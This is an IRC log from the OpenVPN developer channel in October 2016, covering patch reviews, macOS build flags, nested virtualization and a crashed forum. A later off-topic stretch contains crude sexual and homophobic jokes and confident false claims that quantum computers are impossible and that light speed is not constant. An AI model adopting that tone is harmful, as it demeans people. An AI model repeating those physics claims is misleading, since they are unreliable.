Available in Latest Insider Update To Windows 10 - Slashdot (at linux.slashdot.org) 18:40 < danhunsaker> When Microsoft brings in Canonical to fix their compatibility problems, it's pretty obvious they know there's a problem. 18:40 < danhunsaker> And that it's poised to destroy them. --- Day changed Tue Oct 11 2016 03:27 <@cron2> with all the rejoicing about "Linux' final victory over Microsoft" - this might actually be true, and it will be a horrendous deseaster 03:28 <@cron2> with Win10 being free, MS is showing that the desktop OS market is no longer interesting to them - so they will go for Server OS, Cloud offering, and selling app software (Office for Mac, SQL Server for Linux) 03:29 <@cron2> and *then* desktop users are truly hosed, because Linux is nowhere near "a normal user with no geek in the family can install and use it on current PC hardware" 03:30 <@cron2> and after using Linux on all my desktops and laptops for nearly 20 years, I see all the crucial issues still unsolved (like, drivers for new hardware) 03:34 < Thermi> > good drivers for new hardware are missing > Not even Windows gets good drivers. Also cyclical dependency between users and drivers 03:40 <@cron2> well, as of today, you can't sell your hardware without (halfway) decent drivers for windows-current 03:42 < Thermi> I've seen pretty bad drivers for Windows, too. They're not a Linux exclusive. 05:12 <@dazo> Microsoft have shifted their focus, definitely ... to Azure 05:14 < Thermi> To provide protection for the last couple of Windows servers, before they are euthanized. 05:16 <@dazo> nah, with their push towards Office 365, AD services in Azure and so on ... I think they want to focus more on services than customers' server rooms 05:18 <@dazo> just look at all the features in Azure, and how much of their typical server products which now can be a cloud service 05:36 <@dazo> \o/ query user/pass patches finally applied! 05:36 * dazo looks what else is in the pipe 05:38 <@vpnHelper> RSS Update - gitrepo: systemd: Do not mask usernames when querying for it via systemd-ask-p… <https://github.com/OpenVPN/openvpn/commit/8ba3e25897af5c7bd7b4f706961e9528d6988d83> || Re-implement the systemd support using the new query user API <https://github.com/OpenVPN/openvpn/commit/3280d8c8f3583d03fed923837447ef45c8f83d52> || Rework the user input interface to make it more modular <https://github.com/OpenVPN/openvpn/commit/430c 05:41 <@cron2> dazo: you applied 4.1 1-4? need to pull, I think :) 05:42 <@plaisthos> cron2: anything than the ifdef/ifndef in that patch? Otherwise I will just resend the patch without that error for netbsd 4 05:42 <@cron2> plaisthos: so far, nothing else. I'll do a few test runs, but the rest looks all reasonable and straightforward 05:46 <@dazo> cron2: I pulled ... yeah, patch 1/4 went into its own separate thread ... patch 2/4 and 4/4 (all v4.1 too) from the main thread 05:47 <@dazo> plaisthos: the NetBSD stuff? 05:47 <@cron2> dazo: crossing the streams :) - that was about tun-ipv6 and NETBSD_MULTI_AF 05:48 <@dazo> for the NetBSD ... I'd say get rid of the #ifdef if not really needed ... 9 year old NetBSD release is not something I'd expect to see around 05:49 <@cron2> what I said :) 05:49 <@dazo> :) 05:53 <@plaisthos> okay like the 8 year old linux stuff :0 05:53 <@plaisthos> (8 year ago added, so older than 8 year probably) 05:59 <@dazo> plaisthos: kind of, even though we need to be somewhat careful in regards to Enterprise Linux, which have official 10 years+ support - I don't think such long lasting commercial support exists for NetBSD, so it goes into the same category as the other non-Enterprise Linux distros ... does that make sense? 06:02 <@plaisthos> dazo: yes 06:03 <@plaisthos> dazo: but James added that compatibility for older Linuxes in 2008 06:08 <@plaisthos> dazo: lemme check how old we talking here ... 06:09 <@dazo> I don't really care for stuff older than RHEL5, tbh ... and I wouldn't even complain if we're moving towards RHEL6 as the oldest release for git master (RHEL5 have the EOL in 6 months) 06:09 <@dazo> RHEL5 is based on the 2.6.18 kernel, iirc 06:09 <@cron2> RHEL5 can fall into the same bucket as NetBSD 4.x - "it is supported in 2.3.x" 06:10 <@plaisthos> dazo: now I want to know it 06:10 <@plaisthos> when tun.h was added 06:11 <@dazo> git blame src/openvpn/tun.h ? 06:11 <@cron2> linux' tun.h, not ours 06:11 <@dazo> ahh 06:11 <@plaisthos> hmpf 06:11 <@plaisthos> Initial git repository build. I'm not bothering with the full history, 06:11 <@cron2> (also, for the ancient svn days, git blame is no help) 06:11 <@plaisthos> 2005 06:12 <@plaisthos> so < 2005 06:12 <@plaisthos> *shrug* :) 06:12 <@plaisthos> I bet 2.2 days 06:13 <@dazo> our own git history goes back to when 2.1 beta was forked out in SVN 06:13 <@dazo> plaisthos: yeah, 2.2 sounds very much plausible for the tun driver 06:14 <@dazo> even Linus' git tree doesn't go so far back ;-) 06:14 <@dazo> so it was at least present in Linux-2.6.12-rc2 (if_tun.h, that is) 06:14 <@plaisthos> http://stackoverflow.com/questions/3264283/linux-kernel-historical-git-repository-with-full-history 06:14 <@vpnHelper> Title: Linux kernel "historical" git repository with full history - Stack Overflow (at stackoverflow.com) 06:14 <@plaisthos> there is help :) 06:15 <@plaisthos> (and the first time I heard of git graft feature) 06:15 <@dazo> hehe ... not sure I'll spend time cloning even older ones :) 06:15 <@plaisthos> pfff 06:15 <@plaisthos> I started :P 06:16 <@dazo> heh 06:16 <@dazo> you DO need to know ;-) 06:23 <@cron2> what does git graft do? 06:24 <@plaisthos> evil things with history 06:24 <@plaisthos> aka fake ancestor 06:25 <@plaisthos> in this case, before initial commit of linus' repo there is this commit 06:30 <@dazo> mattock: are any of the Fedora/CentOS7 build bots configured with --enable-systemd? ... if not, that could be a reasonable default for those boxes 06:32 <@dazo> lev__: you around? 06:32 < lev__> dazo: yep 06:33 <@dazo> lev__: looking at your "Use separate list for per-client push options" patch 06:33 <@dazo> lev__: I see you declare a push_list in process_incoming_push_request() ... but it is only temporary? 06:34 <@dazo> lev__: it's not saved during the sessions life time to filter out push options for later? 06:35 < lev__> right 06:35 <@dazo> lev__: not saying it's wrong ... just wondering what the benefit of this patch is 06:36 <@dazo> all looks good ... just missing the "why" argument in the commit message :) 06:37 < lev__> dazo: 1 sec 06:38 <@dazo> sure! 06:41 < lev__> dazo: you got mail 06:41 <@dazo> thx! 06:45 <@plaisthos> history isn't working great here with the name etc. 06:46 <@plaisthos> but it is at least pre 2.4.0-test7 from 2002 06:48 <@mattock> Thermi: https://github.com/OpenVPN/tap-windows6/pull/21 06:48 <@vpnHelper> Title: Dual-license tap-windows.h under GPLv2 and MIT by mattock · Pull Request #21 · OpenVPN/tap-windows6 · GitHub (at github.com) 06:50 <@mattock> if somebody ACKs the change I can merge it 07:00 <@dazo> mattock: wouldn't it be appropriate that the one who introduced this file to the repo acks this? And shouldn't the copyright be updated in the tap-windows.h file too? 07:03 <@plaisthos> dazo: then we would have james to do it 07:03 <@plaisthos> and that probably takes ages 07:03 <@plaisthos> and james said yes 07:05 <@dazo> james is quite responsive if he is mailed directly, though 07:05 <@plaisthos> then mattock or you could just send him a mail to ack that on github? 07:07 <@mattock> dazo: good catch, I'll update tap-windows.h itself 07:08 <@mattock> I'll also send mail to james about this 07:11 <@dazo> cron2: in regards to lev__'s patch ("Use separate list for per-client push options"), should I add Reviewed-by you? 07:12 <@cron2> I glanced over it, but I do not think that counts as full review... 07:12 <@dazo> okay, I'll just add Steffan's ack then 07:12 <@cron2> wfm 07:13 <@mattock> done 07:17 <@cron2> dazo: even if you're on a commit rampage now, please leave the recursive routing patch to me :) - I really want to scrutinize it this time 07:21 <@dazo> cron2: I'm just about to have lunch and then head out for some hours ... so I'll leave that one to you :) 07:21 <@vpnHelper> RSS Update - gitrepo: Use separate list for per-client push options <https://github.com/OpenVPN/openvpn/commit/88c4b9d6ad1d346931d9090b247e9e3d2d86bce7> 09:25 <@cron2> plaisthos: I think you missed that question yesterday - how do you build OpenVPN on MacOS "currentish"? It complains about <openssl/evp.h> not found... 09:47 <@plaisthos> cron2: on the buildbot or normally? 09:47 <@plaisthos> tl;dr is brew install openssl lzo 09:48 <@plaisthos> ./configure LZO_CFLAGS=-I/usr/local/include LZO_LIBS='-llzo2 -L/usr/local/lib' OPENSSL_CFLAGS=-I/usr/local/Cellar/openssl/1.0.2h_1/include/ OPENSSL_LIBS='-L/usr/local/Cellar/openssl/1.0.2h_1/lib/ -lcrypto -lssl' 09:49 <@cron2> "normally" 09:49 <@cron2> but I was afraid you'd say that "get a local installation of openssl"... 09:52 <@plaisthos> cron2: there is no ssl to compile against on a modern os x 09:54 <@plaisthos> you could port openvpn 2.x to mac os x's ssl framework 09:54 <@plaisthos> but then again even openvpn3 needs either mbedtls or openssl 09:54 <@plaisthos> (and does only crypto offload with apple's apis) 09:55 <@plaisthos> and somewhere in this mess there is a (statically linked?) LibreSSL 09:55 <@plaisthos> ssh -V 09:55 <@plaisthos> OpenSSH_6.9p1, LibreSSL 2.1.8 10:19 <@cron2> I'll just install mbedTLS then on my wife's desktop mac that I can use for testing... 10:32 <@plaisthos> cron2: I can also give an account on my buildbot machine if you want one for testing 10:32 <@plaisthos> (or help you setup a kvm os x guest) 10:51 * plaisthos sets up an ipv6 only host that serves only as backup target 10:51 <@plaisthos> lets see how painful IPv6 only connectivity is today .... 11:02 <@plaisthos> de.archive.ubuntu.com has no ipv6, archive.ubuntu.com has ... 12:16 < slypknot> !spoonfeed 12:16 < slypknot> dang .. what was that link ? 13:55 <@cron2> plaisthos: have nothing to run kvm on... my linux boxes all have vmware, and the vmware modules and kvm do not peacefully coexist... 15:10 <@plaisthos> cron2: ah okay 23:19 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] --- Day changed Wed Oct 12 2016 04:40 <@plaisthos> damn I got the patch number wrong 04:41 <@cron2> so, will I get a v6, v8, v12 next? ;-) 05:42 <@plaisthos> :) 05:42 <@plaisthos> nah tex numbers 05:42 <@plaisthos> v3 05:42 <@plaisthos> v3.1 05:43 <@plaisthos> v3.141 05:43 <@plaisthos> and so on ;) 05:44 < Thermi> And you'll always get a fraction of infinity closer to the complete implementation 05:44 <@plaisthos> :) 06:01 < danhunsaker> XD 06:13 <@cron2> plaisthos: you really intended to type that bracket? 06:13 <@cron2> Patch V2: Fixed typos noticed by Selva( 06:15 < danhunsaker> Oh, cron2, you can quite safely run KVM on a VMware guest. Have to enable nested virtualization, but that's not hard, 06:16 < danhunsaker> s/,$/./ 06:17 < danhunsaker> (Done exactly that for the AS QA setup...) 06:17 <@cron2> danhunsaker: yeah. Was too lazy to set this up so far :-) - how much performance impact do you see? 06:18 <@plaisthos> cron2: sure :p 06:18 < danhunsaker> Negligible. 06:18 < danhunsaker> Haven't benchmarked, though. 06:18 <@plaisthos> danhunsaker: but OS X on KVM on ESX? 06:18 <@plaisthos> I am not sure if that will work 06:18 <@plaisthos> OS X virtualisation is brittle enough without such stunts :0 06:19 < danhunsaker> Pretty sure it will. VMware hides itself well enough even Microsoft can't tell it's there. 06:19 < danhunsaker> Otherwise I wouldn't have VMware as the host on the OASQAE. 06:20 <@plaisthos> pretty sure you can detect vmware 06:20 <@plaisthos> there are telltale things like disk names 06:20 <@cron2> easily, just ask for the vendor type of your graphics card :) 06:20 <@plaisthos> vmware disk 06:20 <@cron2> but "just running code" has become very good 06:21 < danhunsaker> Sure. But OSX won't see the VMware devices from inside KVM. 06:21 * cron2 wonders what our vmware guys will do if i tell them "oh, this linux vm now needs 8 extra cores!" - why? - "because I want to run KVM on it, with MacOS X, Linux/Sparc, and suchlike!" 06:21 <@plaisthos> cron2: do want to remove that ( in a commit or want me do a v3? 06:22 < danhunsaker> I have OSX under VMware directly, though. 06:22 <@plaisthos> on a mac though, right? 06:22 < danhunsaker> ..... Sure! >_> 06:22 <@plaisthos> I am not sure if vmware support OS X virtualisation in anything other than Fusion 06:23 < danhunsaker> No, it's on a server box. 06:23 <@plaisthos> even though the code is probably not platform specific 06:23 <@plaisthos> oh 06:23 < danhunsaker> Not even remotely Apple in design. 06:23 <@plaisthos> danhunsaker: custom bootloader etc? 06:24 < danhunsaker> The only reason VMware "limits" Mac emulation to Mac hardware is the Apple EULA. 06:24 <@cron2> plaisthos: I can just remove the "(" :) 06:24 < danhunsaker> Nope. Just a patch to VMware itself. 06:24 <@plaisthos> ah cool 06:24 <@cron2> danhunsaker: I've seen this, but *this* is something I can't do, patch our vmware farm :) 06:25 <@plaisthos> kvm does not need patching anymore :) 06:25 <@cron2> (and I'm not going to bother running my own hardware for this, took me long enough to get rid of "special case boxes here and there") 06:25 < danhunsaker> cron2: Yeah, macOS on ESXi is outside farm scope. 06:26 < danhunsaker> plaisthos: The patch is just to provide the virtual device you can manually specify with KVM. 06:26 <@plaisthos> -device isa-applesmc,osk=ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc is the magic extra bit for kvm 06:27 < danhunsaker> Indeed so. Got everything but Hyper-V running under KVM. Microsoft is the only reason I inverted the design. 06:28 < danhunsaker> In fact, that "magic extra bit" is the virtual device I mentioned above. 06:30 < danhunsaker> Would have much preferred Proxmox on the bare metal. 06:31 < danhunsaker> Could probably invert it again, now that Server 2016 doesn't care about other hypervisors, but VMware-inside-KVM performance is impacted far more than KVM-inside-VMware is. 06:33 < danhunsaker> Indicating KVM needs more work on its nested virtualization support. 07:48 < slypknot> ecrist: FORUM HAS CRASHED ! 07:48 < slypknot> ecrist: ^^^^^^^^^^^^^^^^^^^ 07:49 <@mattock> slypknot: I'll have a look 07:52 < slypknot> mattock: kippis ;) 07:54 < slypknot> mattock: ~I see raidz is no longer with us ? 07:55 < slypknot> you advised me to contact raidz if this happened again .. 07:58 <@mattock> kippis to you also 07:58 <@mattock> :P 07:58 <@mattock> ecrist, raidz or me 07:59 < slypknot> there is no raidz eith here or #openvpn ? 08:00 < slypknot> either* 08:01 < slypknot> infact, i have not seen raidz here for ages .. months maybe 08:01 <@mattock> interesting 08:01 <@mattock> raidz is definitely still with us 08:02 < slypknot> avoiding responsibility since being added to the "fix the forum" list :D 08:04 < slypknot> it appears to be up now ! 08:04 < slypknot> thanks 08:05 < danhunsaker> I have ssh access to the forum box... 08:07 < slypknot> danhunsaker: cool, so if it goes down you don't mind if I ping you ? 08:08 < danhunsaker> Not at all. I'm not normally awake for another few hours, but with this fever, sleep has evaded me. 08:08 < danhunsaker> Dunno if ssh would've been enough in this case, but it's still worth a shot. 08:09 < slypknot> you have "The dreaded Lurgey" .. so do I .. it's like a damned epademic! 08:09 < slypknot> Check with mattock what needs to be done 08:10 < danhunsaker> mattock does tend to be more helpful than novaflash. :-D 08:11 < slypknot> Mattock is community, novaflash is Access-Server 08:12 < slypknot> at least thats how i understand it 08:12 < danhunsaker> True. But Johan is also a sarcastic bastard. 08:12 < slypknot> lol 08:12 < danhunsaker> Which is awesome, because we get along great. 08:12 < slypknot> :) 08:12 < slypknot> he asked me to build him a shed ! 08:13 < danhunsaker> Huh. Where'd he want it? 08:14 < slypknot> it was a sarcastic comment toward me .. not sure where he wanted it but I know where he would have got it if I built it ! 08:16 < danhunsaker> Heh. 08:17 < danhunsaker> I figured he'd want it in #openvpn-as ... 08:21 < slypknot> LOL 08:21 < slypknot> infact in A.S.S. (AS-Support) 08:22 < danhunsaker> Heh. That too. 08:22 < danhunsaker> I ... should be doing more on that side than I do... 08:23 < slypknot> you can always help on the forum .. if you get time ;) 08:23 < danhunsaker> Heh, not sure I wouldn't get myself banned in a hurry... 08:23 < danhunsaker> I'm ... not great at support. 08:26 < Thermi> danhunsaker: Just kicking users in the balls when they're being stupid, huh? :D 08:27 * slypknot would indeed like to kick some balls ;) 08:28 < danhunsaker> More or less. I was actually banned from talking to customers at my last job. Which was good, since i shouldn't have been interacting with customers anyway, being *internal* development. 08:29 < Thermi> Hehe. :> 08:31 <@plaisthos> customer support is not fun either 08:31 <@plaisthos> Good thing with my free ap that I can ignore some of them :) 08:32 < danhunsaker> Hear hear! 08:32 < danhunsaker> Only thing I'm dreading with my Patreon projects. 08:55 <@ecrist> ping dazo - you around? 08:56 <@ecrist> slypknot: I crashed teh forum box last night 08:56 <@ecrist> apparently didn't bring it all the way back up 08:57 < danhunsaker> Rude. 08:58 <@dazo> ecrist: yeah 08:58 <@ecrist> quick red hat-ish question for you 08:58 <@dazo> shoot! :) 08:58 <@ecrist> We've got a udev rule where we're providing a mount helper 08:59 <@ecrist> we're firing off the helper via at 08:59 <@ecrist> sometimes it just doesn't run 08:59 <@ecrist> when it works, we see the session open, process run, session close 08:59 <@ecrist> when it fails, no error from at, and we don't see the session start/close either 08:59 <@ecrist> we don't think this is an at problem, but something either in systemd or other related service 09:00 <@dazo> nothing to be found in /var/log/audit/audit.log? 09:03 <@ecrist> we see this, red herring? 09:03 <@ecrist> type=USER_LOGIN msg=audit(1476195994.761:3566): pid=15663 uid=0 auid=4294967295 ses=4294967295 msg='acct= service exe="/usr/libexec/gdm-session-worker" hostname=? addr=? terminal=? res=failed' 09:06 <@dazo> and no denied messages close to this one? 09:06 <@dazo> however, odd that gdm is involved with an at command though ... so not sure it is related 09:08 <@ecrist> I don' see "den" or "denied" anywhere in that file. 09:09 <@dazo> okay, so SELinux is definitely not playing any tricks .... I don't have any good clues now why it sometimes works and sometimes not 09:09 <@dazo> what does the 'at' job do? 09:11 <@ecrist> It runs a shell script that mounts inserted media in a predictable location with proper permissions 09:11 <@ecrist> we've had some problems with what KDE does 09:12 <@ecrist> we'll keep digging - that's for the help. Let me know if you think of anything. 09:13 <@dazo> you might be hitting some of the stricter session management restrictions, though 09:14 <@dazo> systemd seat/logind stuff ... but could also be conflicts with gvfs (which I believe KDE also uses under the hood) 09:14 * slypknot @ecrist: lol .. it's only the /user/ forum ;) 09:16 < danhunsaker> slypknot: Oh, good. Nothing important, then. 09:16 * ecrist looks 09:17 <@ecrist> oops, it routes to the mail archive 09:17 <@ecrist> :\ 09:18 <@ecrist> slypknot: I don't see a crash 09:19 < slypknot> ecrist: mattock fixed it 09:19 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:19 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:19 <@ecrist> oh 09:21 < slypknot> BTW: I have some email from cleantalk .. their website is playing silly buggers since i deleted my test account .. not sure what is going on yet (they are blaming ad blocks, which I don't use) i'll forward you the email chain when I get some sence out of them 09:21 < slypknot> they are trying to help and I am being my most polite ;) 09:22 < slypknot> sense* 09:23 < danhunsaker> Gotta run through the flowchart... 14:14 < slypknot> dazo: can welook forward to your continued presence on the forum or did you just want to nit pick a handful of my thousands (now + 5000) of helpful tips ? 14:26 <@ecrist> and it begins... 14:38 <@dazo> slypknot: tips are helpful when they are correct, that is my opinion. 14:50 < slypknot> dazo: consistency is also helpful .. that's my opinion. If i came here for your opinion everytime i think I would get banned AGAIN ! 16:27 -!- Netsplit *.net <-> *.split quits: @dazo, @plaisthos 16:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:32 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 16:32 -!- ServerMode/#openvpn-devel [+oo plaisthos dazo] by adams.freenode.net 16:32 <+krzee> hello from athens greece =] 16:32 <+krzee> soon to be in barcelona and amsterdam! 16:51 < slypknot> krzee jet-setter ! 16:52 <+krzee> honeymooning around europe 16:52 < slypknot> ahh-ha enjoy 16:52 <+krzee> started in paris, then to sicily, rome, venice, sarajevo, athens 16:52 < slypknot> and congrats :) 16:52 <+krzee> next cairo egypt, then barcelona and amsterdam 16:52 <+krzee> thanks =] 16:54 < slypknot> krzee: that mbedtls 230 problem .. you may find is solved in 221 16:54 <+krzee> oh nice, so i should use mbedtls version 221 with git master? 16:55 < slypknot> it worked on all my buildbots and cron2 did not complain .. so i hope so 16:55 <+krzee> if nobody claims my bounty by the time i get home i think i can solve half of it with a version 1 raspberry pi 16:55 <+krzee> dope thanks man! 16:56 < slypknot> welcome .. have a great time mooning ;) 16:56 <+krzee> im not sure how ill solve the other half, but i suspect i'll search my ass off for a similar proc that i can actually build on (my devices lack the storage / memory) 18:21 * ecrist waves 18:21 < danhunsaker> ~o~ 18:22 < danhunsaker> .o/ 18:22 * danhunsaker attempts to wave a third way, but instead particles. 18:45 < slypknot> danhunsaker: open the second slit .:= 18:45 <@ecrist> :/ 18:45 < slypknot> hey 18:45 <@ecrist> my IRC bounce is being used for spam 18:45 < danhunsaker> That'll have some really neat effects. 18:46 <@ecrist> it's either 1) my kid's IPAD (squid proxy), vpnHelper, or some other fucking thing 18:46 * danhunsaker may have studied far too much about holograms over the years... 18:46 < slypknot> ecrist: is why freenode is going up and down ? 18:46 <@ecrist> nah, my IRC bouncer is only on ~100mbps connection 18:46 <@ecrist> my home connection is gigabit, though. that can do some thing 18:47 < danhunsaker> Freenode is having issues because it's Freenode. 18:47 <@ecrist> danhunsaker++ 18:48 < danhunsaker> I know I wouldn't want to manage servers at this population level. 18:49 < slypknot> pitates of freenode-abean 18:49 < slypknot> pirates* 18:49 <@ecrist> too many assholes out there 18:49 < slypknot> too mant asshomes full stop 18:49 < slypknot> l* 18:50 * slypknot bloody keybrd 18:51 < slypknot> danhunsaker: that wave particle business is still fascinating 18:56 < slypknot> this one twists my melon: https://en.wikipedia.org/wiki/Fermi_paradox 18:56 <@vpnHelper> Title: Fermi paradox - Wikipedia (at en.wikipedia.org) 18:58 < slypknot> non ? 19:04 < slypknot> are we presumptious of what constitutes intelligence .. 19:06 < slypknot> eeny meeny miny moe 19:06 < slypknot> what is intellegence .. do the CIA know ? 19:53 < danhunsaker> Fermi, along with countless others, neglect one factor, by and large. Sheer distance. Everything being limited by the speed of light, only planets within a couple hundred lightyears *might* have received one of our errant transmissions (assuming any that old were powerful enough to escape the atmosphere), with maybe 80 lightyears, tops, of that region 19:53 < danhunsaker> having the potential to intercept something we sent out that way on purpose (via satellite repeater). It will take just as long for us to receive a response as it took for them to intercept our originals. 19:54 < danhunsaker> And even longer for them to actually reach us and visit. 19:54 <@ecrist> Warp speed, Mr Sulu 19:56 < danhunsaker> Much of the Fermi Paradox rests on the existence of faster-than-light travel, be it for ships or information. If no such technology actually exists, then we're all stuck dealing with c. 19:56 <@ecrist> if the universe is infinite, the possibilities are 19:57 <@ecrist> if the universe is not infinite, we're in a simulation (apparently) 19:57 < danhunsaker> (also, wave dissipation over such vast distances makes it extremely unlikely that any of our signals would survive as more than background noise by the time it reached anyone else....) 19:58 < danhunsaker> *they 19:59 <@ecrist> just think of how much energy a remote star emits, and how little of that energy actually hits our eyeballs 19:59 <@ecrist> also, the fact that light 10,000+ years ago left a star and landed in my own eyeball 20:00 < danhunsaker> Some stars are much closer than that, but yeah. Astronomy is really a form of time travel. 20:00 <@ecrist> of course they are some closer - I'm talking extremes (-ish) 20:01 < danhunsaker> There *was* a star there 10,000+ years ago... Is it still there? No way to tell. 20:02 <@ecrist> 10000 is pretty short in terms of life of a star 20:02 < danhunsaker> Our entire galaxy could be undergoing systematic destruction, but we won't find out for dozens of years, at least. 20:02 <@ecrist> dozens? aren't you optimistic 20:03 < danhunsaker> Sure, we can make some very well-informed assessments based on normal star life cycles. But there are elements not in the models. 20:04 < danhunsaker> Well, the closest stars are dozens of lightyears away, so unless we were wiped out, ourselves, before them winking out reached us, yeah, dozens. 20:04 <@ecrist> Your mom wasn't a model and that didn't stop me from drilling her like a rogue comet... 20:04 < danhunsaker> Should have said we wouldn't be able to see it for dozens of years, minimum. 20:06 < danhunsaker> At any rate, the point was that we can be pretty sure it's still there, but we won't *know* until 10000+ years in the future, when they won't really care whether it was still there now. 20:06 <@ecrist> there's lots of clues to know, though. 20:07 <@ecrist> color of light, non-visible spectrum, etc. 20:07 < slypknot> jeez 20:07 <@ecrist> things we can measure now that we couln't always 20:07 < danhunsaker> Still just well-educated guesses. 20:07 < slypknot> and what of dark matter .. ;) 20:07 < danhunsaker> Highly accurate guesses. 20:08 < danhunsaker> But still just extrapolation from what data we can collect. 20:08 <@ecrist> isn't that science in general? 20:09 <@ecrist> everything is a highly accurate guess at some level 20:09 < danhunsaker> True enough. 20:10 < danhunsaker> Depending on the philosophical level you want to come from, even facts are guesses, being based on observation. 20:10 < slypknot> fix shit on this planet before we try to infect another .. that's my opinion 20:10 < danhunsaker> If our collective senses are collectively lying to us, even that might be wrong. 20:11 < slypknot> red shift could be wrong 20:11 < danhunsaker> But that's a realm I don't hold much stock in. 20:11 < slypknot> did you ever see that scientific america picture of the known universe ? 20:12 < danhunsaker> Don't know. Maybe. 20:12 < slypknot> its a 10mb jpeg 20:13 < slypknot> i have a copy 20:14 < slypknot> it is like quantum computers .. yeah right 20:14 < danhunsaker> I have an old NatGeo map of the known universe... 20:14 < slypknot> and we will have stasis booths and matter transmitters 20:15 < slypknot> ok .. for the convenience of this group .. do you believe quantum computers are possible ? 20:15 * slypknot says pipe dream 20:16 < danhunsaker> We have a few already operating in universities scattered across the globe. 20:16 < slypknot> i do not believe you 20:16 < slypknot> it is hype 20:16 < danhunsaker> Many are currently in a time-share status. 20:16 < slypknot> it is hype 20:17 < danhunsaker> *shrug* 20:17 < danhunsaker> Believe what you will. 20:17 < slypknot> startrek and nullshit 20:18 < slypknot> if i live to be a million .. there will never be a feasible quantum computer 20:18 < slypknot> uncertianty principle 20:19 < slypknot> we liver in a physical universe 20:19 < slypknot> not a.n.other universe 20:19 < danhunsaker> Heh. Heisenberg Compensators are indeed absolute nonsense. 20:20 < danhunsaker> However, quantum computing doesn't need multiple factors to operate. 20:20 < slypknot> unless we can control the doule slit experiment COMPLETELY everything else in that field is nonsense 20:21 < danhunsaker> Interference patterns are easily calculable. Time-intensive, sure, but not difficult. 20:22 * slypknot is rolling up sleaves for this 20:24 < slypknot> we aready know the absolute physical limit of CPUs for instance .. electrons will not do what we say after a certain level of miniturization 20:24 < slypknot> aft 20:25 < slypknot> ^^ sorry that aft was a mistake 20:25 < danhunsaker> I dunno. I enjoy a good aft, 20:25 < slypknot> we:) 20:26 < slypknot> we can smash shit together at fractions of C 20:27 < danhunsaker> Significant fractions, as i understand it. 20:28 < slypknot> sure 20:28 * slypknot brain is on over drive fingers are on strike 20:29 < slypknot> i know personally the youngest fellowship at CERN and evenm he is not convined 20:29 < slypknot> convinced 20:29 < slypknot> Shaun Roe 20:30 < slypknot> i argued with him about the red-shift monopoly .. and now even "they" are not completely convinced of red0-shift 20:32 < slypknot> the idea is that the universe is *not* uniform to light .. and the speed of light is not constant 20:32 < slypknot> get a fucking magnifiying glass .. 20:33 < slypknot> but the idea is that there are mediums we have not considered .. and do not have access to, which may have broken our own "law" .. 20:34 < slypknot> how can C be constant .. 20:34 < slypknot> perhap[s the constant we seek has yet to be found 20:35 < slypknot> just because light has thrown us the double slit shit for so long .. does not mean it is the be all and end all 20:35 < slypknot> E<>MC2 20:36 < slypknot> it just looks that way to us 20:38 <@ecrist> danhunsaker: what's your definition of miniaturization? 20:39 < slypknot> "they" have considered that the universe is different to different wave lenghts of light .. but we canot assume we know the source as we interpret the destination 20:40 <@ecrist> slypknot: straight lines are pretty easy to see 20:40 <@ecrist> relatively speaking. 20:40 < slypknot> fuck off 20:40 <@ecrist> heh heh 20:40 <@ecrist> now now 20:40 < slypknot> :) 20:40 < slypknot> sorry 20:40 < slypknot> euclidian or other 20:41 < slypknot> is there such a thing as "a straight line" 20:41 < slypknot> ??? 20:41 <@ecrist> geometrically, sure 20:41 <@ecrist> define two points 20:41 < slypknot> from my point of view .. no there fucking well is not 20:41 <@ecrist> the trajectory between the two is straight 20:41 < slypknot> no .. geometrically is bollox from like the 15th centruy 20:42 <@ecrist> barring outside invfluence 20:42 < slypknot> bollox 20:42 < slypknot> outside what 20:42 <@ecrist> now you just sound silly 20:42 < slypknot> outside the universe ~? 20:42 <@ecrist> no, gravity, etc 20:42 < slypknot> this is where it all goes tots up 20:42 < slypknot> there is no such thing as "outsine" 20:42 <@ecrist> you need a better keyboard or accurate pecking 20:42 < slypknot> it is all here and it is all now 20:43 <@ecrist> no 20:43 < slypknot> enlighten me .. if you dare 20:43 < slypknot> it fucking well is 20:43 <@ecrist> ? 20:43 < slypknot> there is no escaping it 20:44 < slypknot> you cannot have this imaginary experiment anywhere in the universe .. so that is nollox 20:45 < slypknot> unless you want to do your experiment in another universe 20:45 < slypknot> this is the poit 20:45 < slypknot> there is no way to differentiate between what you expect in a perfect universe and what you find in a real one 20:45 <@ecrist> who's saying that 20:46 < slypknot> the margin of error is infinite 20:46 <@ecrist> geometrically, if I define two points in real space, there is a straight line between them 20:46 < slypknot> only in your imagination 20:46 <@ecrist> no, for real 20:46 < slypknot> nope 20:46 <@ecrist> how so? 20:46 < slypknot> how do you define "straight" 20:47 <@ecrist> well, not homosexual? 20:47 < slypknot> is that 2d .. 3d.. 4d.. 27 d 20:47 <@ecrist> ok, so 2d, 3d, and 4d, the line is straight 20:47 < slypknot> well at least if you are homosexual you will get it striaght up the ass 20:47 < slypknot> NO they are NBOT 20:47 < slypknot> NOT 20:48 <@ecrist> why? 20:48 < slypknot> there is no such thing as "d 20:48 < slypknot> 2D 20:48 <@ecrist> of course there is 20:48 < slypknot> it is an imaginary construct of our perception of reality 20:48 < slypknot> there is no sucj thinfg as 2D 20:49 < slypknot> give me one single example 20:49 <@ecrist> the line between two points in space 20:49 < slypknot> in 2D space .. where is that then ? 20:50 <@ecrist> I didn't say 2d space 20:50 < slypknot> and that does not even include the idea of A point .. 20:50 < slypknot> where is A point ? 20:50 <@ecrist> over there 20:50 < slypknot> lol 20:50 < slypknot> :))))) 20:50 <@ecrist> the other one is over here 20:51 < slypknot> euclid 20:51 <@ecrist> The famous Mario Bros only knew of a 2d environment for many years. 20:51 < slypknot> they were idiots 20:51 < slypknot> and now they race badly draw carts 20:52 < danhunsaker> Ad hominem. 20:52 < slypknot> it is all effin bollox .. but i do like to read about it 20:53 < slypknot> just read "brave new world" the other day .. pft .. here and fucking now as far as i can see 20:59 < slypknot> what is that thing were you see a colour or shape when you eat soomrthing ? 20:59 < danhunsaker> Synesthesia. 20:59 < slypknot> google is messin with me 20:59 < slypknot> danhunsaker: that is the one 21:01 < slypknot> i have that 21:01 < slypknot> my fucking brain fucks me off sometimes 21:02 < slypknot> its like there are more than me in here 21:02 < slypknot> its worce when i am sopber 21:02 <@ecrist> so, there is that concept that what I see as green you might actually see as blue, or orange. We identify 